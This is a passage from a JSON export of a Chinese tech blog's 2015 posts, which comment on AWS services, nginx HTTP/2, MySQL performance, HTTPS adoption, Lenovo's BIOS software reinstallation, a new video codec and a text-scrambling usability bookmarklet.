    "body": "在「<a href=\"https://aws.amazon.com/about-aws/whats-new/2015/08/amazon-s3-introduces-new-usability-enhancements/\">Amazon S3 Introduces New Usability Enhancements</a>」這邊提到了 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 的兩個改善。\r\n\r\n第一個是業務面的改善，以前應該是開 support ticket 請人調整 S3 bucket 數量上限，現在則是可以直接透過界面申請？(沒有遇過瓶頸，不知道以前是不是在界面上看不到...)\r\n\r\n第二個才是重頭戲：Read-after-write Consistency。\r\n\r\n<blockquote>With this enhancement, Amazon S3 now supports read-after-write consistency in all regions for new objects added to Amazon S3.</blockquote>\r\n\r\n也就是說，Amazon S3 現在保證「新增的 object」「可以在建立後馬上被讀取」。之前還沒修正前，這個問題有多嚴重呢？可以看 2014 年時「<a href=\"https://blog.gslin.org/archives/2014/01/12/4126/netflix-%E5%B0%8D-s3-%E7%9A%84-eventually-consistency-%E7%9A%84%E8%A3%9C%E5%BC%B7/\">Netflix 對 S3 的 Eventually Consistency 的補強...</a>」這邊 <a href=\"https://www.netflix.com/\">Netflix</a> 在跑 <a href=\"https://pig.apache.org/\">Pig</a> 與 <a href=\"https://hive.apache.org/\">Hive</a> 遇到的問題。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EyENSVc.webp\" /><img src=\"https://i.gslin.com/imgur/EyENSVc.jpg\" alt=\"\" /></picture>\r\n\r\nNetflix 這邊舉的例子是兩個 Pig cluster 在跑，其中 Pig-2 需要 Pig-1 跑出來的資料，在這次公告前，如果 Pig-1 的資料寫回 Amazon S3 時不會馬上出現，那麼 Pig-2 就會拿不完整的資料執行：\r\n\r\n<blockquote>Pig-2 is activated based on the completion of Pig-1 and immediately lists the output directories of the previous task.  If the S3 listing is incomplete when the second job starts, it will proceed with incomplete data.</blockquote>\r\n\r\n而現在總算是保證新的 object 可以馬上被讀取，所以 Netflix 可以利用一個檔案列出所有的 filename，確保知道所有的檔案名稱... (LIST 指令還是 eventually consistent，所以這部份還是要自己處理)",
    "title": "Amazon S3 的改善"
  },
  {
    "id": "5903",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 前幾天宣佈將在 8/4 發表 <a href=\"https://aws.amazon.com/device-farm/\">AWS Device Farm</a> 支援 <a href=\"https://www.apple.com/ios/\">iOS</a> 的消息，剛剛看到了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2015/08/aws-device-farm-adds-support-for-ios-test-your-ios-android-and-fire-os-apps-against-real-devices-in-the-aws-cloud/\">AWS Device Farm adds support for iOS – Test your iOS, Android and Fire OS apps against real devices in the AWS Cloud</a>」。\r\n\r\n在「<a href=\"https://aws.amazon.com/device-farm/device-list/\">Device List</a>」這邊可以看到所有支援的機種，iOS 的部份包括了 <a href=\"https://www.apple.com/ipad/\">iPad</a>、<a href=\"https://www.apple.com/iphone/\">iPhone</a>、<a href=\"https://www.apple.com/ipod/\">iPod Touch</a>，看起來只有比較新的機種有支援...",
    "title": "AWS Device Farm 支援 iOS Device 了"
  },
  {
    "id": "5904",
    "body": "<a href=\"http://nginx.org/\">nginx</a> 宣佈了 Early Alpha 的 HTTP/2 支援：「<a href=\"https://www.nginx.com/blog/early-alpha-patch-http2/\">Announcing an Early Alpha Patch for HTTP/2</a>」。\r\n\r\n除了警告這是早期版本不應該用在 production 上，另外也說明了目前的 patch 會讓 <a href=\"https://zh.wikipedia.org/wiki/SPDY\">SPDY</a> 失效：\r\n\r\n<blockquote>Applying this patch removes the SPDY module from the NGINX codebase and replaces it with the HTTP/2 module. After applying this patch, you can no longer configure NGINX to use SPDY.</blockquote>\r\n\r\n而在這之後也不會讓 HTTP/2 與 SPDY 同時並存：\r\n\r\n<blockquote>This will also be the case for the production-ready release of the HTTP/2 implementation in both NGINX and NGINX Plus. SPDY is being deprecated by Google in early 2016, so there is no need to support both.</blockquote>\r\n\r\n但從 <a href=\"http://caniuse.com/#search=http2\">HTTP/2 的支援度</a>與 <a href=\"http://caniuse.com/#feat=spdy\">SPDY 的支援度</a>來看，行動裝置都還不支援 HTTP/2，但 iOS 8.4 以及 Android 3+ 都已經支援 SPDY 了，這樣看起來非常的傷啊...\r\n\r\n不知道到年底會有什麼其他解決方案出現...",
    "title": "nginx 宣佈了 Early Alpha 版本的 HTTP/2 支援"
  },
  {
    "id": "5905",
    "body": "<a href=\"https://aws.amazon.com/swf/\">Amazon Simple Workflow</a> 先前會需要開一台機器起來做事，現在則可以透過 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 來處理了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2015/08/trigger-aws-lambda-functions-using-amazon-simple-workflow/\">Trigger AWS Lambda Functions Using Amazon Simple Workflow</a>」。\r\n\r\n這樣有兩個好處，一個是 AWS Lambda 啟動速度快太多，最慢應該是在數秒內，相較於透過 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的啟動快太多。\r\n\r\n另外一個當然是成本考量，開一台機器的成本還是要算成一個小時，而 AWS Lambda 是以 100ms 計費。如果做的事情很少，用 AWS Lambda 的成本低太多。\r\n\r\n對於輕量級的處理來說算是個很棒的改善... 當然本來就是要轉檔之類吃大量 CPU 的，還是要開機器比較好。",
    "title": "Amazon SWF 可以透過 AWS Lambda 做事了..."
  },
  {
    "id": "5906",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的人以現在的觀點來看 <code>mysql_query_cache</code>：「<a href=\"https://www.percona.com/blog/2015/08/07/mysql-query-cache-worst-enemy-best-friend/\">The MySQL query cache: Worst enemy or best friend?</a>」。\r\n\r\n起因主要也是懷疑 query cache 是 global mutex 在現在的硬體架構 (主要是 CPU 數量成長) 應該是個負面的影響，但不確定影響多少：\r\n\r\n<blockquote>The query cache is well known for its contentions: a global mutex has to be acquired for any read or write operation, which means that any access is serialized. This was not an issue 15 years ago, but with today’s multi-core servers, such serialization is the best way to kill performance.</blockquote>\r\n\r\n這邊就有點怪了，PK search 應該是個位數 ms 等級才對 (一般 EC 網站的資料量都應該可以 memory fit)，不知道他是怎麼測的：\r\n\r\n<blockquote>However from a performance point of view, any query cache hit is served in a few tens of microseconds while the fastest access with InnoDB (primary lookup) still requires several hundreds of microseconds. Yes, the query cache is at least an order of magnitude faster than any query that goes to InnoDB.</blockquote>\r\n\r\nanyway，他實際測試兩個不同的 configuration，首先是打開 query cache 的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Zjo7nbg.webp\" /><img src=\"https://i.gslin.com/imgur/Zjo7nbg.jpg\" alt=\"\" /></picture>\r\n\r\n再來是關閉 query cache 的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Pa4lUEI.webp\" /><img src=\"https://i.gslin.com/imgur/Pa4lUEI.jpg\" alt=\"\" /></picture>\r\n\r\n測試的方式在原文有提到，這邊就不抄過來了。測試的結果可以看到關閉 query cache 得到比較好的 thoughput：\r\n\r\n<blockquote>Throughput scales well up to somewhere between 10 and 20 threads (for the record the server I was using had 16 cores). But more importantly, even at the higher concurrencies, the overall throughput continued to increase: at 20 concurrent threads, MySQL was able to serve nearly 3x more queries without the query cache.</blockquote>\r\n\r\n跟預期的差不多，硬體的改變使得演算法也必須跟著改，不然就會遇到問題...",
    "title": "Percona 對 mysql_query_cache 的測試 (以 Magento 為例)"
  },
  {
    "id": "5907",
    "body": "在 <a href=\"http://www.xaprb.com/\">Baron Schwartz</a> 的 blog 上看到「<a href=\"http://www.xaprb.com/blog/2015/08/08/innodb-book-outline/\">An Outline for a Book on InnoDB</a>」這篇文章，作者因為被 InnoDB 所驚嘆而想要寫一本書探討 InnoDB 的設計：(因為雖然複雜，但試著將這些複雜的東西隱藏起來，不讓使用的人暈頭轉向)\r\n\r\n<blockquote>Years ago I pursued my interest in InnoDB’s architecture and design, and became impressed with its sophistication. Another way to say it is that InnoDB is complicated, as are all MVCC databases. However, InnoDB manages to hide the bulk of its complexity entirely from most users.</blockquote>\r\n\r\n<blockquote>I decided to at least outline a book on InnoDB. After researching it for a while, it became clear that it would need to be a series of books in multiple volumes, with somewhere between 1000 and 2000 pages total.</blockquote>\r\n\r\n作者還沒開始寫，不過 outline 已經先列出來了：\r\n\r\n<blockquote>I did not begin writing. Although it is incomplete, outdated, and in some cases wrong, I share the outline here in case anyone is interested. It might be of particular interest to someone who thinks it’s an easy task to write a new database.</blockquote>\r\n\r\n這篇文章的重點在這些 outline，即使沒有寫成書，這些 outline 也讓你知道要可以朝什麼方向研究...\r\n\r\n因颱風延期的「<a href=\"http://coscup2015.kktix.cc/events/handson-mysql\">COSCUP 2015 Hands-on【妙生活】MySQL 入門</a>」剛好可以 review 這邊的 outline 來修正一些主題。",
    "title": "InnoDB 的各種枚枚角角"
  },
  {
    "id": "5909",
    "body": "前幾天在其他地方看到，剛剛在 <a href=\"http://zite.com/\">Zite</a> 上又翻到：「<a href=\"http://thenextweb.com/dd/2015/08/10/use-this-handy-command-line-tool-to-check-if-your-code-works-across-browsers/\">Use this handy command line tool to check if your code works across browsers</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ajV0M29.webp\" /><img src=\"https://i.gslin.com/imgur/ajV0M29.jpg\" alt=\"\" /></picture>\r\n\r\n官方網站在「<a href=\"https://github.com/sgentle/caniuse-cmd\">sgentle/caniuse-cmd</a>」這邊，可以透過 <code>npm install caniuse-cmd</code> 安裝，或是加上 <code>-g</code> (<code>npm install -g caniuse-cmd</code>) 裝到系統裡。",
    "title": "Command Line 界面的 caniuse"
  },
  {
    "id": "5910",
    "body": "<a href=\"http://www.troyhunt.com/\">Tony Hunt</a> 在「<a href=\"http://www.troyhunt.com/2015/08/were-struggling-to-get-traction-with.html\">We’re struggling to get traction with SSL because it’s still a “premium service”</a>」這篇文章裡抱怨了目前 web 要朝向 HTTPS only 還很遠，甚至還酸了一下 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> <a href=\"https://www.google.com/search?q=%E5%86%A8%E6%A8%AB\">冨樫</a>問題：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HS1UgSg.webp\" /><img src=\"https://i.gslin.com/imgur/HS1UgSg.jpg\" alt=\"\" /></picture>\r\n\r\n可是東尼... 你的站也沒上 HTTPS 啊 :/\r\n\r\n順便整理一下目前 HTTPS 技術發展出來的優點：\r\n\r\n<ul>\r\n\t<li><a href=\"https://www.google.com/\">Google</a> 在 2014 年 6 月就直接說 HTTPS 對 <a href=\"https://zh.wikipedia.org/wiki/%E6%90%9C%E5%B0%8B%E5%BC%95%E6%93%8E%E6%9C%80%E4%BD%B3%E5%8C%96\">SEO</a> 有幫助：「<a href=\"http://googlewebmastercentral.blogspot.com/2014/08/https-as-ranking-signal.html\">HTTPS as a ranking signal</a>」。</li>\r\n\t<li>「HTTPS + <a href=\"https://zh.wikipedia.org/wiki/SPDY\">SPDY</a>」或是「HTTPS + <a href=\"https://zh.wikipedia.org/wiki/HTTP/2\">HTTP/2</a>」的速度比「HTTP/1.1，沒有 SSL/TLS」快，可以參考「<a href=\"https://blog.httpwatch.com/2015/01/16/a-simple-performance-comparison-of-https-spdy-and-http2/\">A Simple Performance Comparison of HTTPS, SPDY and HTTP/2</a>」這邊的說明。原因是 HTTP/1.1 以及 HTTP/1.1 + SSL/TLS 都不支援 multiplexing 技術，而這個技術讓 SPDY 與 HTTP/2 的速度快很多。</li>\r\n\t<li>續上條，可以參考「<a href=\"https://www.httpvshttps.com/\">HTTP vs HTTPS Test</a>」這邊的測試，這邊的 HTTPS 伺服器使用了 SPDY，當小圖非常多的時候會很明顯。</li>\r\n</ul>\r\n\r\n現在網站的 best practice 是 HTTPS + HTTP/2，對 SEO 好、速度又快 (這兩個對營收有影響)，而另外也可以增加安全性 (對聲譽有幫助)。",
    "title": "HTTPS 的進展"
  },
  {
    "id": "5911",
    "body": "<a href=\"https://www.cloudflare.com/\">CloudFlare</a> 宣佈在中東啟用四個機房：「<a href=\"https://blog.cloudflare.com/middle-east-expansion/\">Now serving the Middle East: 4 new data centers, partnerships</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9lLjmEW.webp\" /><img src=\"https://i.gslin.com/imgur/9lLjmEW.jpg\" alt=\"\" /></picture>\r\n\r\n據 comment 提到的，有些人本來是連到新加坡機房，現在在中東直接交換，速度上快了不少。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/XzKG7iD.webp\" /><img src=\"https://i.gslin.com/imgur/XzKG7iD.jpg\" alt=\"\" /></picture>\r\n\r\n所以現在看起來是亞洲與非洲的彈幕不夠...？",
    "title": "CloudFlare 在中東弄了四個機房..."
  },
  {
    "id": "5912",
    "body": "在「<a href=\"http://evertpot.com/switching-to-generators/\">Save memory by switching to generators</a>」這邊提到了 <a href=\"https://secure.php.net/\">PHP</a> 5.5 開始提供的 <a href=\"https://secure.php.net/manual/en/language.generators.overview.php\">Generators</a>...\r\n\r\n由於其他的程式語言有 Generators 的觀念，其實不會太難了解...\r\n\r\n不過比較大的問題是，資料庫的查詢操作用 Generators 會把效能壓力壓回資料庫：因為資料庫需要把結果 buffering 在資料庫端，如果不趕快吐出去就是要找記憶體放... 也因此，比較常見到的解法是不要用 Generators。(因為 web 與 application 端相較於資料庫端，比較容易 scale)\r\n\r\n後來用 Generators 比較多的印象中還是 filter 類的應用吧，<a href=\"https://www.python.org/\">Python</a> 這邊的東西有陣子沒看了 :o",
    "title": "PHP 5.5 的 Generators"
  },
  {
    "id": "5913",
    "body": "從 2005 年的「<a href=\"https://blog.gslin.org/archives/2005/08/10/3/%E5%BE%9E%E9%9B%B6%E9%96%8B%E5%A7%8B/\">從零開始</a>」這篇到現在也寫了十年，記了三千多篇雜事：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/MwUJMxz.webp\" /><img src=\"https://i.gslin.com/imgur/MwUJMxz.jpg\" alt=\"\" /></picture>\r\n\r\n如果從「<a href=\"http://old.gslin.org/2004/10/03/3/\">開場：為什麼用 WORDPRESS</a>」這邊開始的話就十一年了... (更早當初用 <a href=\"https://movabletype.org/\">MovableType</a> 寫的，隨著社團消失從無考古起了 XD)",
    "title": "寫了十年..."
  },
  {
    "id": "5914",
    "body": "<a href=\"http://www.ubuntu.com/\">Ubuntu</a> 的人分享了 <a href=\"https://www.netflix.com/\">Netflix</a> 如何在 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 上調整 Ubuntu 14.04：「<a href=\"https://insights.ubuntu.com/?p=20477\">How Nelix tunes Ubuntu on EC2</a>」。\r\n\r\n影片出自「<a href=\"https://www.youtube.com/watch?v=7Cyd22kOqWc\">AWS re:Invent 2014 | (PFC306) Performance Tuning Amazon EC2 Instances</a>」。\r\n\r\n可以看到各種參數偏向降低跨出 VM 時的行為 (CPU context switch、調整 Memory + Swap、降低 I/O 次數)，我猜對於其他的虛擬機應該也應該有效...",
    "title": "Netflix 在 Amazon EC2 上跑 Ubuntu 14.04 的參數"
  },
  {
    "id": "5915",
    "body": "<a href=\"https://typekit.com/\">Adobe Typekit</a> 的官方 blog 放出說明了：「<a href=\"http://blog.typekit.com/2015/08/11/well-that-was-just-awful-details-on-yesterdays-font-serving-outage/\">Well, that was just awful: Details on yesterday’s font serving outage</a>」。\r\n\r\n可以參考 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上「<a href=\"https://news.ycombinator.com/item?id=10033172\">AWS S3 Outage</a>」的討論，由於 us-east-1 算是 <a href=\"https://aws.amazon.com/\">AWS</a> 服務的起源，再加上地理位置的關係 (以歐美服務為主同時考量會放到 us-east-1)，所以有一堆網路服務在這區跑，情況還蠻慘烈的...\r\n\r\n我記得 Typekit 是使用 <a href=\"http://www.edgecast.com/\">EdgeCast</a> 的服務 (i.e. <code>use.typekit.net</code> 這個網址)，雖然很久沒用 EdgeCast 了，不過我記得應該是有 origin failover 的功能 (可以設多個 origin server)，看起來是沒這樣設計...",
    "title": "Amazon S3 (美東區) 前幾天的狀況導致 Adobe Typekit 服務故障的說明"
  },
  {
    "id": "5916",
    "body": "這應該是昨天很熱鬧的新聞，也不難看出 <a href=\"http://www.oracle.com/\">Oracle</a> 對資安的心態。\r\n\r\n參考「<a href=\"http://www.zdnet.com/article/oracle-to-sinner-customers-reverse-engineering-is-a-sin-youd-better-pack-it-in/\">Oracle to 'sinner' customers: Reverse engineering is a sin and we know best</a>」這篇報導，Oracle CSO <a href=\"https://en.wikipedia.org/wiki/Mary_Ann_Davidson\">Mary Ann Davidson</a> 發表的原文已經被刪除，但這是 internet 時代，當然有完整的備份下來：「<a href=\"https://www.scribd.com/doc/274176394/No-You-Really-Can-t-Mary-Ann-Davidson-Blog\">No, You Really Can’t (Mary Ann Davidson Blog)</a>」。\r\n\r\n提供給 <a href=\"http://www.zdnet.com/\">ZDNet</a> 報導的補充是：\r\n\r\n<blockquote>The security of our products and services has always been critically important to Oracle. Oracle has a robust program of product security assurance and works with third party researchers and customers to jointly ensure that applications built with Oracle technology are secure. We removed the post as it does not reflect our beliefs or our relationship with our customers.</blockquote>\r\n\r\nOracle 的公關能力一如往常的優秀！",
    "title": "Oracle 的 CSO (Chief Security Officer) 對資安的想法"
  },
  {
    "id": "5917",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 宣佈可以搜尋所有公開的 tweet 了：「<a href=\"https://blog.twitter.com/2015/full-archive-search-api\">Instant and complete access to every historical public Tweet</a>」。\r\n\r\n<blockquote>This new product builds off of our existing 30-Day search solution and extends the available window of instant and complete Twitter access to a span of more than nine years… and counting. </blockquote>\r\n\r\n提供給 <a href=\"https://gnip.com/\">Gnip</a> 的客戶搜尋：(這家公司去年被 Twitter 買下，參考「<a href=\"http://www.reuters.com/article/2014/04/15/us-twitter-gnip-idUSBREA3E17D20140415\">Twitter buys social data provider Gnip, stock soars</a>」)\r\n\r\n<blockquote>The Full-Archive Search API will now allow Gnip customers to immediately search for any historical public Tweet — ever.</blockquote>\r\n\r\n看起來是個半獨家生意：\r\n\r\n<blockquote>For more technical information about the Full Archive Search API, you can read our <a href=\"http://support.gnip.com/apis/search_full_archive_api/\">support documentation</a>, and contact the Twitter Data Sales team at data-sales@twitter.com to learn how your business can start using this new historical API today.</blockquote>",
    "title": "Twitter 的歷史資料企業方案"
  },
  {
    "id": "5919",
    "body": "這家公司與這類事情，好像不怎麼意外：「<a href=\"http://thenextweb.com/insider/2015/08/12/lenovo-used-a-hidden-windows-feature-to-ensure-its-software-could-not-be-deleted/\">Lenovo used a hidden Windows feature to ensure its software could not be deleted</a>」。\r\n\r\n每次開機時 BIOS 會檢查是不是 Windows 7 或 Windows 8，如果是，而 <code>C:\\Windows\\system32\\autochk.exe</code> 不是 <a href=\"http://www.lenovo.com/\">Lenovo</a> 所簽名的版本，那麼就會蓋掉變成自己版本：\r\n\r\n<blockquote>If Windows 7 or 8 is installed, the BIOS of the laptop checks ‘C:\\Windows\\system32\\autochk.exe’ to see if it’s a Microsoft file or a Lenovo-signed one, then overwrites the file with its own.</blockquote>\r\n\r\n接著這個 <code>autochk.exe</code> 在開機被執行時就會建立 <code>LenovoUpdate.exe</code> 以及 <code>LenovoCheck.exe</code>，然後透過網路下載程式回來跑：\r\n\r\n<blockquote>Then, when the modified autochk file is executed on boot, another two files LenovoUpdate.exe and LenovoCheck.exe are created, which set up a service and download files when connected to the internet.</blockquote>\r\n\r\n影響的範圍包括了：\r\n\r\n<blockquote>A wide range of Lenovo laptops are affected by the issue:  Flex 2 Pro-15/Edge 15 (Broadwell/Haswell models), Flex 3-1470/1570/1120, G40-80/G50-80/G50-80 Touch/V3000, S21e, S41-70/U40-70, S435/M40-35, Yoga 3 14, Yoga 3 11, Y40-80, Z41-70/Z51-70 and Z70-80 / G70-80.</blockquote>\r\n\r\n如果已經買了這批電腦，請依照官方提供的新 BIOS 更新：「<a href=\"https://support.lenovo.com/us/en/product_security/lse_bios_notebook\">Lenovo Service Engine (LSE) BIOS for Notebook</a>」。\r\n\r\n如果還沒買的話，以後也請不要買，像是「<a href=\"http://arstechnica.com/gadgets/2015/06/my-dream-machine-lenovo-may-build-a-new-classic-thinkpad/\">My dream machine: Lenovo may build a new “classic” ThinkPad</a>」這種消息看看就好...",
    "title": "聯想的 BIOS 會自動安裝軟體，即使你整台重灌..."
  },
  {
    "id": "5920",
    "body": "<a href=\"http://www.cisco.com/\">Cisco</a> 開發新的 Video Codec 與 <a href=\"https://zh.wikipedia.org/wiki/%E9%AB%98%E6%95%88%E7%8E%87%E8%A7%86%E9%A2%91%E7%BC%96%E7%A0%81\">HEVC</a> (H.265) 競爭，專案名稱叫做 <a href=\"https://github.com/cisco/thor\">Thor</a>：「<a href=\"http://blogs.cisco.com/collaboration/world-meet-thor-a-project-to-hammer-out-a-royalty-free-video-codec\">World, Meet Thor – a Project to Hammer Out a Royalty Free Video Codec</a>」。\r\n\r\n沒什麼意外，專利問題是主要的原因：\r\n\r\n<blockquote>Unfortunately, the patent licensing situation for H.265 has recently taken a turn for the worse. Two distinct patent licensing pools have formed so far, and many license holders are not represented in either. There is just one license pool for H.264. The total costs to license H.265 from these two pools is up to sixteen times more expensive than H.264, per unit. H.264 had an upper bound on yearly licensing costs, whereas H.265 has no such upper limit.</blockquote>\r\n\r\n不過一開頭寫到 <a href=\"https://zh.wikipedia.org/wiki/VP9\">VP9</a> 是 proprietary 的描述讓人很不解：\r\n\r\n<blockquote>There are two of note – Google’s proprietary VP9 codec, and the industry standard H.265 (HEVC) codec, which is the successor to H.264 (AVC).</blockquote>\r\n\r\n往下拉 comment 看果然就有人提出來：\r\n\r\n<blockquote>How exactly is VP9 more \"proprietary\" than Thor? Both are open sourced under BSD license, both are royalty free, both are intended to be unencumbered by patents. Are you defining \"proprietary\" as \"not controlled by Cisco\"?</blockquote>\r\n\r\n不知道在搞什麼鬼...",
    "title": "Cisco 開發新的 Video Codec：Thor"
  },
  {
    "id": "5921",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 提供 Free Tier 使用者可以直接看所有 Free Tier 資源的地方了：「<a href=\"https://aws.amazon.com/blogs/aws/new-monitor-your-aws-free-tier-usage/\">New – Monitor Your AWS Free Tier Usage</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NRsuxGj.webp\" /><img src=\"https://i.gslin.com/imgur/NRsuxGj.jpg\" alt=\"\" /></picture>\r\n\r\n包括了現在的使用量，以及按照比率預測出來的數字。對於在試用 AWS 的人方便不少...",
    "title": "AWS 提供 Free Tier 監控總表"
  },
  {
    "id": "5922",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到的工具：「<a href=\"https://github.com/daniel-aranda/aws-lambda-function-sandbox-runner\">Run AWS Lambda Functions on your local computers, for testing purposes</a>」。可以在本地端測試 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 的程式碼：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p lang=\"en\" dir=\"ltr\">Node.js plugin to run AWS Lambda Functions on your local environment&#10;&#10;<a href=\"https://t.co/Ki9s0GJlAP\">https://t.co/Ki9s0GJlAP</a>&#10;&#10;<a href=\"https://twitter.com/hashtag/lambdafunction?src=hash\">#lambdafunction</a> <a href=\"https://twitter.com/hashtag/aws?src=hash\">#aws</a> &#10;cc: <a href=\"https://twitter.com/awscloud\">@awscloud</a> <a href=\"https://twitter.com/mcholste\">@mcholste</a></p>&mdash; Daniel Aranda (@javierdaniel) <a href=\"https://twitter.com/javierdaniel/status/631602206911934464\">August 12, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>",
    "title": "AWS Lambda 的本地端測試工具"
  },
  {
    "id": "5924",
    "body": "<a href=\"https://www.keycdn.com/\">KeyCDN</a> 發表了對 HLS streaming 的最佳化：「<a href=\"https://www.keycdn.com/blog/hls-streaming/\">New feature: Optimized HLS streaming</a>」。\r\n\r\n其中這段看起來就很奇怪：\r\n\r\n<blockquote>The index file (.m3u8) will not be cached at all. The .ts files will only be cached for 5 minutes. If the origin server sends other Cache Control headers, it will be ignored by the CDN.</blockquote>\r\n\r\n也就是這個畫面：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6CuRaDS.webp\" /><img src=\"https://i.gslin.com/imgur/6CuRaDS.jpg\" alt=\"\" /></picture>\r\n\r\n如果你把對 <code>.m3u8</code> 的壓力全部打到後端，那麼就註定不 scale 啊？之前在 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> c3.8xlarge 上面用 <a href=\"http://www.wowza.com/\">Wowza</a> 測試，就發現單台最多只能承受 4000 reqs/sec。\r\n\r\n比較好的作法應該是 cache 很短的時間 (也許三到五秒)，讓 CDN 幫你擋下來，而不是前面打多少 reqs/sec 後面就吃多少...",
    "title": "關於 KeyCDN 的 HLS streaming 最佳化..."
  },
  {
    "id": "5926",
    "body": "在「<a href=\"http://blog.endpoint.com/2015/08/usability-dont-make-me-think-and.html\">Usability: Don't Make Me Think and a Bookmarklet</a>」這篇文章裡作者在讀了「<a href=\"https://www.sensible.com/dmmt.html\">Don’t Make Me Think, Revisited</a>」之後有所啟發，寫了一小段 javascript code，可以將網頁上所有文字都變成同樣長度的亂碼，藉以測試許多 usability 特性。\r\n\r\n我把程式碼丟進 <a href=\"https://yui.github.io/yuicompressor/\">yui-compressor</a> 後變成這樣，比較容易貼到 bookmarklet 上使用：\r\n\r\n<pre>javascript:(function(){var a=\" ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";$(\"*:not(iframe)\").contents().filter(function(){return this.nodeType==Node.TEXT_NODE&amp;&amp;this.nodeValue.trim()!=\"\"}).each(function(){var c=\"\";for(var b=0;b&lt;this.nodeValue.trim().length;b++){c+=a.charAt(Math.floor(Math.random()*a.length))}this.nodeValue=c})})();</pre>\r\n\r\n不過這段程式碼假定頁面上有 <code>$</code> 這個 object (i.e. <a href=\"https://jquery.com/\">jQuery</a>)，所以我把程式碼改成吃 <code>jQuery</code> 這個 object，這樣確保 <a href=\"https://api.jquery.com/jquery.noconflict/\">jQuery.noConflict()</a> 後的網站還是可以動：\r\n\r\n<pre>javascript:(function(){var a=\" ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";jQuery(\"*:not(iframe)\").contents().filter(function(){return this.nodeType==Node.TEXT_NODE&amp;&amp;this.nodeValue.trim()!=\"\"}).each(function(){var c=\"\";for(var b=0;b&lt;this.nodeValue.trim().length;b++){c+=a.charAt(Math.floor(Math.random()*a.length))}this.nodeValue=c})})();</pre>\r\n\r\n效果如下，還蠻有趣的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Zwg6dcM.webp\" /><img src=\"https://i.gslin.com/imgur/Zwg6dcM.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Wm6tfAe.webp\" /><img src=\"https://i.gslin.com/imgur/Wm6tfAe.jpg\" alt=\"\" /></picture>",
    "title": "Usability 測試的 bookmarklet"
  },
  {
    "id": "5927",
    "body": "<a href=\"https://slack.com/\">Slack</a> 的新功能，可以寄信到 Slack 的 Channel 裡：「<a href=\"http://slackhq.com/post/126629257535/email\">Email, meet Slack. Slack, email.</a>」。\r\n\r\n這個新功能限制在付費使用者才能使用：\r\n\r\n<blockquote>Today we’re launching a new feature: all teams on the Standard or Plus plans can have email directed into Slack channels.</blockquote>\r\n\r\n包括圖片也是可以顯示出來的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/lbg4aj4.webp\" /><img src=\"https://i.gslin.com/imgur/lbg4aj4.jpg\" alt=\"\" /></picture>\r\n\r\n這樣接起來更方便了...",
    "title": "寄信到 Slack 裡的 Channel"
  },
  {
    "id": "5930",
    "body": "最早的時候是用 <a href=\"https://www.android.com/\">Android</a> 系統，<a href=\"https://en.wikipedia.org/wiki/HTC_Desire\">HTC Desire</a> 還在 2.1 的年代 (2010 年)。\r\n\r\n後來切到<a href=\"https://www.apple.com/\">蘋果</a>的環境裡，第一隻 <a href=\"https://en.wikipedia.org/wiki/IPhone_4S\">iPhone 4S</a> 在 2011 年出的時候買 (英國機)，後來台灣上了 <a href=\"https://en.wikipedia.org/wiki/IPhone_5S\">iPhone 5S</a> 就用到現在 (中華電信機)。\r\n\r\n前陣子台哥大的 3G data 合約到期了，就順手升級到 4G 吃到飽再續了 <a href=\"https://en.wikipedia.org/wiki/IPhone_6\">iPhone 6 Plus</a>，想起幾個月前老爹在問有沒有機會換 iPhone，想了想就把這隻超大螢幕的 iPhone 拿給老人家用。\r\n\r\n於是他本來的 <a href=\"http://www.lg.com/\">LG</a> <a href=\"https://en.wikipedia.org/wiki/LG_G2\">G2</a> 就到我手上了：\r\n\r\n<img src=\"https://i.gslin.com/imgur/B5qgifQ.jpg\" alt=\"\" />\r\n\r\n拿到除了 reset 以外，把 4.2 一路先升級到 4.4.2。順便查了一下維基百科上的資料，了解一下這隻手機的背景。(雖然當初也是我幫老人家辦的，不過當時是 <a href=\"https://www.ptt.cc/\">Ptt</a> 上面找找資料看起來這隻不會是地雷就選下去了...)\r\n\r\n之前幫 <a href=\"https://en.wikipedia.org/wiki/IPad_2\">iPad 2</a> 拿來上網辦了張台哥大的 SIM 卡 (幾乎不出門的)，99 元綁一年的維繫方案，包含 500MB 的 data 就順手拿來用了，這幾天用了用覺得 Anrdoid 也很有趣啊，換過來有點不太順手還在習慣就是了...\r\n\r\n這篇算是在嘗試 Android 過程的記錄，明顯是帶著 